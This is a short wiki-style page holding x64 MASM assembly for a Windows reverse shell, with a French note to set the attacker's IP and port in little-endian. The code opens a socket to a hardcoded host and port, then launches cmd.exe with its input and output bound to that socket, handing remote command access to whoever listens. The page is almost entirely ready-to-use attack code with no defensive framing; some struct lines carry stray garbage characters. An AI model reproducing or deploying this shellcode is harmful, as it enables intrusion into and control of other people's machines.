[ASM] Windows reverse shell

Code

> Remplacer l'**IP** et le **port** au format Little Endian.

```
extrn ExitProcess :PROC

extrn WSAStartup :PROC
extrn WSASocketA :PROC
extrn WSAConnect :PROC
extrn CreateProcessA :PROC

; Définir les valeurs de longueur manquantes
WSADESCRIPTION_LEN equ 256
WSASYS_STATUS_LEN equ 128

sockaddr_in STRUC
    sin_family WORD ?
    sin_port WORD ?
    sin_addr DWORD ?
    sin_zero BYTE 8 DUP (?)
sockaddr_in ENDS

_wsadata STRUC
    wVersion WORD ?
    wHighVersion WORD ?
    szDescription BYTE (WSADESCRIPTION_LEN + 1) DUP (?)
    szSystemStatus BYTE (WSASYS_STATUS_LEN + 1) DUP (?)
    iMaxSockets WORD ?
    iMaxUdpDg WORD ?
    lpVendorInfo QWORD ?
_wsadata ENDS
```

```
_startupinfoa STRUC
    cb DWORD ?
    align_1 BYTE 4 dup (?)
    lpReserved QWORD ?
    lpDesktop QWORD ?
    lpTitle QWORD ?
    dwX DWORD ?
    dwY DWORD ?
    dwXSize DWORD ?
    dwYSize DWORD ?
    dwXCountChars DWORD ?
    dwYCountChars DWORD ?
    dwFillAttribute DWORD ?
    dwFlags DWORD ?
    wShowWindow WORD ?
    cbReserved2 WORD ?
    align_2 BYTE 4 dup (?)
    lpReserved2 □□QWORD ?
    hStdInput □□QWORD ?
    hStdOutput □□QWORD ?
    hStdError □□QWORD ?
_STARTUPINFOA ENDS

_PROCESS_INFORMATION STRUCT
    hProcess □QWORD ?
    hThread □QWORD ?
    dwProcessId □DWORD ?
    dwThreadId □DWORD ?
_PROCESS_INFORMATION ENDS



.data

    ; WSAData
    WSAData _wsadata <>

    ; WSASocket
    sd DQ ?

    ; CreateProcessA
```

```
    SUInfo _STARTUPINFOA <>
    PrcInfo _PROCESS_INFORMATION <>

    ; Define IP & Port
    sa sockaddr_in <>
    ip DD 17AA8C0h
    port DW 5C11h

    ; CreateProcessA
    shell_str DB "cmd.exe", 0

.code
Start PROC

; Define sa structs
    MOV sa.sin_family, 2
    MOV ax, port
    MOV sa.sin_port, ax
    MOV eax, [ip]
    MOV sa.sin_addr, eax

; WSAStartup
    sub rsp, 28h

    MOV rcx, 2h
    LEA rdx, [WSAData]
    CALL WSAStartup

; WSASocketA
    sub rsp, 40h

    MOV rcx, 2
    MOV rdx, 1
    MOV r8, 6
    XOR r9, r9
    MOV qword ptr [rsp+20h], 0
    MOV qword ptr [rsp+28h], 0
    CALL WSASocketA
    MOV sd, rax
    ADD rsp, 40
```

```
; WSAConnect
    sub rsp, 28h

    MOV rcx, sd
    LEA rdx, sa
    MOV r8, SIZEOF sockaddr_in
    XOR r9, r9
    SUB rsp, 56
    MOV qword ptr [rsp+32], 0
    MOV qword ptr [rsp+40], 0
    MOV qword ptr [rsp+48], 0
    CALL WSAConnect
    ADD rsp, 56

; CreateProcessA
    sub rsp, 50h

    MOV rax, sd
    MOV [SUInfo.hStdInput], rax
    MOV [SUInfo.hStdOutput], rax
    MOV [SUInfo.hStdError], rax
    MOV [SUInfo.cb], SIZEOF _STARTUPINFOA
    MOV [SUInfo.dwFlags], 100h

    XOR rcx, rcx
    LEA rdx, shell_str
    XOR r8, r8
    XOR r9, r9

    MOV qword ptr [rsp+20h], 1
    MOV qword ptr [rsp+28h], 0
    MOV qword ptr [rsp+30h], 0
    MOV qword ptr [rsp+38h], 0
    LEA rax, SUInfo
    MOV qword ptr [rsp+40h], rax
    LEA rax, PrcInfo
    MOV qword ptr [rsp+48h], rax
    CALL CreateProcessA
    ADD rsp, 50h
```

Start ENDP

End

Revision #2
Created 30 July 2024 12:24:52 by Elieroc
Updated 30 July 2024 12:27:26 by Elieroc